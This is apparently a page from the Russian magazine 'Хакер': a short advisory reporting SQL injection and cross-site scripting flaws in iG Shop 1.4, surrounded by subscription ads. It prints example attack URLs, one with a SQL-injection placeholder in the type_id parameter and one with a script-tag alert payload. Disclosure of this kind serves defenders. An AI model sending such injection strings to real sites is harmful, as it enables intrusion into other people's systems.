Лучшие статьи квартала на бумаге
2 000 ₽
Заказать журнал
Полный доступ к статьям и архиву выпусков
6 000 ₽ в год
Подписаться
Совместный курс «Хакера» и лаборатории «Хаксет»
7 000 ₽
Купить курс
Лучшие статьи за 2021–2022 годы на бумаге
2 000 ₽
Заказать журнал
Программа: iG Shop 1.4
Уязвимость обнаружена в iG Shop. Удаленный атакующий может выполнить XSS нападение и нападение SQL инъекции.
1. SQL инъекция:
page.php?page_type=catalog_products&type_id[] ='[SQL Injection]&SESSION_ID={SESSION_ID}
&SESSION_ID=
2. XSS нападение:
page.php?page_type=catalog_products&type _id[]=%3Cscript%3Ealert(document.domain);
%3C/script%3E&SESSION_ID ={SESSION_ID}&SESSION_ID=
Сайт защищен Qrator —